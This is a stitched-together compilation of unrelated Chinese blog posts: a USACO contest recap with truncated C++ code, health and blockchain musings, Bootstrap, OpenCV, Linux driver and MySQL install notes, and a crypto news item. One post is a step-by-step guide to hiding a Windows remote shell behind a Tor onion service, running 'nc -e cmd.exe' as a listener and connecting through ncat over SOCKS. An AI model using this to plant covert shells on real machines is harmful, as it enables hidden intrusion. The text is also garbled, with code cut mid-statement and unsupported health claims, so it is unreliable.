usaco总结

咕噜~~ 这次usaco没有打上银组真是让我尴尬,第一次打usaco,有点紧张。。。 同组第一题的传送牛粪,虽不知道何必如此大费周章,但也是一代水题 题面是这样的: Farmer John最讨厌的农活是运输牛粪。为了精简这个过程,他制造了一个伟大的发明:便便传送门!与使用拖拉机拖着装满牛粪的大车从一个地点到另一个地点相比,他可以使用便便传送门将牛粪从一个地点瞬间传送到另一个地点。 Farmer John的农场沿着一条长直道路而建,所以他农场上的每个地点都可以简单地用该地点在道路上的位置来表示(相当于数轴上的一个点)。一个传送门可以用两个数xx和yy表示,被拖到地点xx的牛粪可以瞬间传送到地点yy,反之亦然。 Farmer John想要将牛粪从地点aa运输到地点bb,他建造了一个可能对这一过程有所帮助的传送门(当然,如果没有帮助,他也可以不用)。请帮助他求出他需要使用拖拉机运输牛粪的总距离的最小值。 输入格式(文件名:teleport.in): 输入仅包含一行,为四个用空格分隔的整数:aa和bb,表示起始地点和结束地点,后面是xx和yy,表示传送门。所有的位置都是范围为0…1000…100的整数,不一定各不相同。 输出格式(文件名:teleport.out): 输出一个整数,为Farmer John需要用拖拉机运输牛粪的最小距离。 输入样例: 3 10 8 2 输出样例: 3 在这个样例中,最佳策略是将牛粪从位置3运到位置2,传送到位置8,再运到位置10。 所以需要用拖拉机的总距离为1 + 2 = 3。 这题我采用了模拟法,一遍过,代码如下 #include using namespace std; int a,b,x,y,i,j; long long n=0,m=0; int main() { freopen("teleport.in","r",stdin); freopen("teleport.out","w",stdout); cin>>a>>b>>x>>y; if(b>a) { n=b-a; if(x>y) { if(a>y) m+=a-y; else m+=y-a; if(b>x) m+=b-x; else m+=x-b; } else { if(a>x) m+=a-x; else m+=x-a; if(b>y) m+=b-y; else m+=y-b; } } else { n=a-b; if(x>y) { if(a>x) m+=a-x; else m+=x-a; if(b>y) m+=b-y; else m+=y-b; } else { if(a>y) m+=a-y; else m+=y-a; if(b>x) m+=b-x; else m+=x-b; } } if(n>m) cout< 很长,可以简洁很多,但这样写思路会更清晰,AC后也就没想过化简。

看我如何通过Tor Onion在Windows中执行远程Shell

在这篇文章中,我将跟大家分享我的一个小发现,即如何在Windows平台中通过Tor Onion服务来开启远程Shell 。接下来,话不多说,我们直奔主题。 操作方法 首先,我们要在一个Windows Tor客户端中创建一个Tor onion服务(即隐藏服务)。我下载了Tor Expert bundle(同样适用于Tor浏览器)-【下载地址】。 然后使用下列命令创建Tor配置文件torrc: HiddenServiceDir C:\demo\Tor\service HiddenServicePort 8662 127.0.0.1:12345 开启Tor服务之后,将会自动创建目录C:\demo\Tor\Service,并填充一系列必要的文件(<主机名>文件夹包含了这个Toronion服务的.onion地址)。 该onion服务将监听端口8662,而流量将会直接转发到127.0.0.1(端口12345)。 这里我们还可以给服务开启客户端验证功能,因为如果不开启这个功能的话,任何知道这个.onion地址和端口号的人都可以进行连接。最基础的客户端验证使用了共享密钥,你可以使用下列命令进行配置(torrc): HiddenServiceAuthorizeClient basic testuser 这里我选择使用testuser作为客户端名称: 接下来,我们可以使用配置文件torrc来开启Tor: tor.exe -f torrc .onion地址以及客户端验证cookie可以在service目录的<主机名>文件夹中找到: nybjuivgocveiyeq.onion Wa5kOshPqZF4tFynr4ug1g # client: testuser 当然了,你一定要保护认证cookie密钥的安全。 现在,用nc.exe在目标Windows设备上开启服务(我几年前就在电脑上下载了nc.exe,我不记得原始的URL地址了,我使用的版本是v1.11,MD5为ab41b1e2db77cebd9e2779110ee3915d): nc -e cmd.exe -L -s 127.0.0.1 -p 12345 Tor ExpertBundle以及nc.exe不需要任何其他的依赖组件(跟DLL类似),因此任意用户都可以直接运行。 现在我们的目标主机已经配置好了,在另一台设备上,我需要使用包含了认证cookie的配置文件来开启Tor服务: HidServAuth nybjuivgocveiyeq.onion Wa5kOshPqZF4tFynr4ug1g 接下来,我们需要运行ncat,因为ncat.exe支持socks5代理(nc.exe不支持): ncat.exe --proxy 127.0.0.1:9050 --proxy-type socks5 nybjuivgocveiyeq.onion 8662 接下来,我们就得到远程Shell啦! 提醒大家一下,这种方法不适用于ncat v 7.60版本,具体原因请参考【这里】: ibnsock select_loop(): nsock_loop error 10038: An operation was attempted on somethingthat is not a socket.

健康中医创新

什么情况都能锻炼的: 一类逆腹式呼吸(减肥): 吸气3秒,呼气8秒。 吸气,高举臂膀; 呼气,攥紧全身肌肉。 站立能锻炼的: 竖起脚尖 踮起脚尖; 竖起脚尖 踮起脚尖; …… (引进外力)。 跑步: 除了肢体, 躯干部位运动向实心球调整。 躯干圆形,颠簸起来,洋葱头塞进去。 多做高抬腿。太极拳的独立,高抬,推下。 (挡住外力) 入睡,治疗近视: 双睛向外。(闭眼) 视频 -= 久坐,如同爬脸午睡,甚至久站职业,颈椎腰椎,下肢循环问题出现; 失眠,痴呆,对女性大脑伤害超男性 近视:影响很多 肥胖:三高 穴位 -= 《区块链》你不知道的共识已经作为搜索的信息(你还不知道,搜到的比你想搜的更专业)。云计算的金融架构确定的,已经进入公共的生产力,不能垄断。锚的,你得杠杆。且没有庄。独立看法有了价值。匿名,比如,我们因为信任才建立的群,但在群里,你都不知道是谁, 平等的,投票,感谢付费,知道名有什么用。 我们仅需投入资料,进入锚类的。确定的,迅速贬值。比如,贸易,材料费用确定,企业利润迅速归零。 我们仅做能放大正确的、独立的看法的、有限的。所以,未来公司的形式有变。 人工智能企业有了? 区块链的真正挑战是从共识到信用的跨越 金融从业者需要了解的区块链常识②:区块链的价值 区块链:颠覆创新 什么是互联网 哈希,定制。你拿一片斑驳的树叶拓一下,定制了。 投票,证明行为记录。 左派: 货币,金融,代理。 货币,谁来投票?暂无。 行为记录,我说,不端! 金融,谁来投票?暂无。 行为记录,我说,不端! 代理,谁来投票?暂无。 行为记录,我说,不端! 左派是不是有极端?不让用代理、金融、银币?用布票粮票特殊物资票? 区块链是一个超强的投票机制。 慎独了,还能控制在认证里,在所有人的记账里,虚拟但不丢失。 他们有的不想给记? 不记,就不是区块链。 -= 中庸:莫见乎隐,莫显乎微 曾国藩总结自己一生的处世经验,写了著名的“日课四条”,即:慎独、主敬、求仁、习劳。这四条,慎独是根本,是“体”;其他三条是枝叶,是“用”。 -= 代理就能做,外放能力。所以,孔教违背AI人工智能精神。 人工智能,最优先给行为记录。在区块链里,没有银行。所有人都给所有人的所有行为记录。 为什么能看的东西越来越多? 一定用智能,用代理。 -= 蛋白如同灯笼糖如同散火苗(溅的多起炎症)脂肪如同棉衣供暖但不太暖寒风吹灭烛火棉布露口有隙油坚果早起吃蛋白质下午吃中午碳水带糖层次清晰有度 -= 【孙思邈的养生四少诀】“口中言少,心中事少,腹里食少,自然睡少,依次四少,神仙诀了。”1.少说话,以防损伤肺气。2.少思虑,避免气机郁结。3.少吃点,避免心气不足。4.少赖床,以防气血不畅。唐代孙思邈据传活到141岁,被后世尊奉为“药王”。 思虑,因为我们的思维多数在运用辩证,辩证需稳定一个支,展开一个支。 忧虑,稳定的支就如同梦呓。 -= 【六个妙招让全家少吃盐】1、烹调时多用醋、柠檬汁等酸味调味汁,替代一部分盐和酱油。2、多采用蒸、烤、煮等烹调方式。3、多吃有味道的菜。4、做凉拌菜的时候,最后放盐。5、用酱油等调味品时,用点蘸的方式。6、不需要在所有的菜里都放盐。 葱头、青椒、番茄调料,放在蒸锅里蒸。好吃。

Bootstrap4 定制自己的颜色和风格

Bootstrap4 定制自己的颜色和风格 Bootstrap是现在最流行的CSS框架,有许多网站、后台管理系统的样式都是基于Bootstrap设计的。然而,Bootstrap 始终保持着那蓝色 + 浅灰色彩基调,最新的 Bootstrap4 也是如此,看久了难免有些审美疲劳。 怎么修改 Bootstrap 的色彩主题呢?本篇就教你如何定制 Bootstrap4,使你的页面更与众不同一些。 0. 需要的工具 Node.js 编译 Bootstrap4、下载Bootstrap的依赖包,需要在电脑上安装 Node.js Bootstrap4 源代码 修改 Boostrap 需要一份源代码,访问 Bootstrap 官方网站(https://getbootstrap.com)可以下载到源代码。 有些地方可能无法访问 Bootstrap4 官网,那么也可以访问 Bootstrap 中文网 下载到源代码。 1. 定制颜色主题 Bootstrap为了方便定制,将一些变量提取了出来,放在 scss/_varaibles.scss 文件中。 打开这个文件,可以发现有非常多的配置,找到这一段: $primary: $blue !default; $secondary: $gray-600 !default; $success: $green !default; $info: $cyan !default; $warning: $yellow !default; $danger: $red !default; $light: $gray-100 !default; $dark: $gray-800 !default; 这里就是配置 Bootstrap 基本色调的地方,修改这些颜色值,可以另网站看上去风格迥异。除了主色调,还有很多颜色相关的变量可以控制,细到一个输入框的边框颜色也可以调整。您可以慢慢尝试。 比如修改 _variables.scss 的这些变量: $primary: #e95420 !

晚上睡不着觉又a不动题,干脆看看书…… 学校课上讲的C++刚到面向对象就结束了,简直比吃鸡剩两个人时天命圈刷到自己脚底下突然屏幕一暗中间出现一个 图标上面写着一行”网络延迟检测”还要难受。没得办法,自己看看书做做笔记学一学了。

美国移民及海关执法局利用区块链发现加密货币在毒品走私中的使用

点击上方 “蓝色字” 可关注我们! 作者:Wolfie Zhao 翻译:Annie_Xu 美国移民及海关执法局(ICE)详细介绍如何发现非法毒品贩子利用加密货币来隐藏踪迹。 1月25日向参议院委员会递交的书面证词中,ICE副助理局长Greg Nevano说,该机构看到加密货币越来越多被用于支付非法走私毒品,比如鸦片类止痛剂。 为了打击这种越来越严重的隐患,该机构称已经采用不同战略,曝光利用加密货币增加追踪难度的毒品商。 Nevano在证词中写道: “为了支持其多种金融调查工作,ICE采用秘密技术手段,渗透并利用点对点加密货币交易者,他们通常为涉及暗网市场的犯罪网络洗钱”。 另外,Nevano还提到ICE将采用“复杂的区块链技术开发工具”,分析加密货币交易,发现这些交易背后的身份。而且该机构已经为国内国际加密货币调查员提供解决相关问题的培训。 尽管他没有公布该机构加密货币调查的具体细节,该声明标志着ICE钻研加密货币底层区块链技术,剥离其核心匿名性特征的最新举措。 CoinDesk曾报道ICE递交给参议院委员会的另一项证词,担心犯罪组织越来越多的利用加密货币来支付非法活动或洗钱。 本文仅代表作者个人观点,不代表区块链铅笔的立场,不构成投资建议,内容仅供参考。 关注本公众号后,进入公众号 回复关键词可以查阅资料,以下是部分关键词 回复 WEF ,查看《WEF:世界经济论坛认为区块链是互联网金融行业的未来报告》 回复 智能合约 ,查看《巴克莱银行报告》 回复 moody ,查看《穆迪120个区块链项目报告》 回复 SWIFT ,查看SWIFT《区块链对证券交易全流程产生的影响及潜力》报告 回复 论文11 ,查看论文《可扩展的去中心区块链》 回复 埃森哲2 ,查看埃森哲《区块链每年可以为投资银行节省120亿美元》报告 回复 联合国报告 ,查看联合国报告《数字货币和区块链技术在构建社会和可信金融之间扮演的角色》 回复 用户特性 ,查看普林斯顿大学首本比特币教科书初稿《比特币用户的特性(Characteristics of Bitcoin Users)》 回复 普林斯顿 ,查看普林斯顿大学首本比特币教科书初稿《比特币和数字货币技术(Bitcoin and Cryptocurrency Technologies)》 回复 IMF,查看国际货币基金组织报告《Virtual Currencies and Beyond: Initial Considerations》 回复 DTCC ,查看美国存管信托清算公司报告《DTCC: 拥抱分布式》 回复 广发 ,查看报告《科技前沿报告:区块链:正快速走进公众和政策视野》 回复 川财1 ,查看报告《川财证券:区块链技术调研报告之一:具有颠覆所有行业的可能性》 回复 川财2 ,查看报告《川财证券:区块链技术调研报告之二:区块链技术进化论-区块链技术的国内实践和展望》

OpenCV实验系列之修改图片对比度与亮度

OpenCV实验系列之修改图片对比度与明亮度 注意:以下内容根据opencv官网提供的教程结合个人理解所得,仅是个人学习笔记,可能存在错误或偏差,欢迎指正。 OpenCV实验系列之修改图片对比度与明亮度 对比度与亮度的理解个人臆测 实现方法 对比度与亮度的理解(个人臆测) 以下对于对比度的解释来自百度百科 对比度指的是一幅图像中明暗区域最亮的白和最暗的黑之间不同亮度层级的测量,差异范围越大代表对比越大,差异范围越小代表对比越小,好的对比率120:1就可容易地显示生动、丰富的色彩,当对比率高达300:1时,便可支持各阶的颜色。但对比率遭受和亮度相同的困境,现今尚无一套有效又公正的标准来衡量对比率,所以最好的辨识方式还是依靠使用者眼睛。 以灰度图来举例,个人理解就是图片中亮与暗点间的灰度差值,比如255与200的对比度小于255与100的对比度,对于灰度图来说亮度就是整体的白的程度。由此可以得出对对比度和亮度进行调节的公式: α用来控制对比度,β用来控制亮度。可以想象当α>1是图片的对比度将扩大(扩大了像素点间的差异),β>0时亮度将提高,当0<α<1是图片的对比度将j减小,β<0时亮度将减小。 实现方法 可以使用LUT() http://blog.csdn.net/Nrush/article/details/79330077 进行处理在下例中使用一般遍历的方法进行处理。 #include #include #include #include using namespace std; using namespace cv; void main() { double alpha = 1.5; double beta = 0; Mat src; src = imread( "timg.jpg" ); imshow("src",src); Mat dst = Mat::zeros( src.size(), src.type()); for( int y = 0; y < src.rows; y++ ) { for( int x = 0; x < src.cols; x++ ) { for( int c = 0; c < 3; c++ ) { dst.

Realtek 8822be无线网卡在Ubuntu16/17上驱动问题的完美解决方案

为电脑安装Win10+Ubuntu双系统的时候,发现Ubuntu无法自动识别我的无线网卡,照着网上的教程挨个尝试无果(无法按照常规配置WiFi、手动安装驱动编译失败等等) 网上很多的解决办法失去了时效性。比如:其中手动安装驱动无法编译成功的实际原因是由于某年某月某日的某次Linux内核升级之后才存在的问题…… 众所周知,Linux的驱动一直很是个问题…… 但是后来摸索出一个完美解决方案: Linux其实已经着手解决一些驱动问题,Linux的内核在Linux 4.14之后已经支持8822be无线网卡,因此我们的思路是只需将Linux内核升级即可。 而无论是Ubuntu16.04LTS还是Ubuntu17.10(我甚至还尝试了优麒麟17.10)的Linux内核版本都低于4.14,其中Ubuntu17.10的内核版本最高,也仅为4.13。我们可以手动下载驱动的包来升级。(大约Ubuntu18.04出了之后本文也就失去了时效吧!) 具体措施如下: 进入网站:http://kernel.ubuntu.com/~kernel-ppa/mainline/ 翻到底,找到4.14(也可自行尝试更高版本,我试过4.15但无法开机,不知是否是偶然,读者自己斟酌) 找到自己的系统架构(amd64咯),把amd64下的第一个.deb和第二、四的含有generic的.deb的链接地址依次复制 打开终端,键入:(此步不同版本号与架构之间存在偏差,读者自行判断) $ wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.14/linux-……-.deb //wget后面跟着刚才复制的第一个地址,自行替换 $ wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.14/linux-……-.deb //wget后面跟着刚才复制的第二个地址,自行替换 $ wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.14/linux-……-.deb //wget后面跟着刚才复制的第四个地址,自行替换 然后在终端中安装这些包: $ sudo dpkg -i *.deb 重启 $ reboot 开机后检查一下自己的内核版本: $ uname -sr 如果是Linux 4.14,那么你的无线网卡应该已经识别并且开启了,右上角选择你要连接的AP吧!

搜索引擎学习日志

原文链接: http://www.cnblogs.com/TheoryDance/p/8446562.html 了解是什么:Google的咖啡因系统、Megastore云存储系统、Pregel云图计算模型、暗网爬取技术、Web2.0网页作弊、机器学习排序、情景搜索、社会化搜索 学习思想:先全局、再细节 《这就是搜索引擎:核心技术详解》page 33 / 315 开始第二章:2.4抓取策略 转载于:https://www.cnblogs.com/TheoryDance/p/8446562.html

Linux安装mysql5.6.39【详细过程】

Linux安装mysql5.6.39 阿里云linux系统安装mysql5.6.39,以下方法已在线上环境测试成功。 仔细一步一步走不会有问题的!!!一定要认证看!! 欢迎大佬指点!!!! cmake mysql5.6.39 shell cmake简介 CMake是一个跨平台的安装(编译)工具,可以用简单的语句来描述所有平台的安装(编译过程)。他能够输出各种各样的makefile或者project文件,能测试编译器所支持的C++特性,类似UNIX下的automake。只是 CMake 的组态档取名为 CMakeLists.txt。Cmake 并不直接建构出最终的软件,而是产生标准的建构档(如 Unix 的 Makefile 或 Windows Visual C++ 的 projects/workspaces),然后再依一般的建构方式使用。这使得熟悉某个集成开发环境(IDE)的开发者可以用标准的方式建构他的软件,这种可以使用各平台的原生建构系统的能力是 CMake 和 SCons 等其他类似系统的区别之处。 cmake安装 tar -zxvf cmake-2.8.4.tar.gz cd cmake-2.8.4 ./configure --prefix=/usr/local/cmake-2.8.4 make && make install (报错时检查是否安装了gcc-c++) (注意cmake –version 无法获取版本号 可以在cmake中的bin 执行./cmake 获取版本号) 安装mysql yum -y install gcc libxml2-dev curl screen libpng12-dev autoconf libpcre3-dev make bzip2 libevent-dev patch libjpeg62-dev libcurl4-openssldev libfreetype6-dev g++ libtool libncurses5-dev psmisc lrzsz ncurses-devel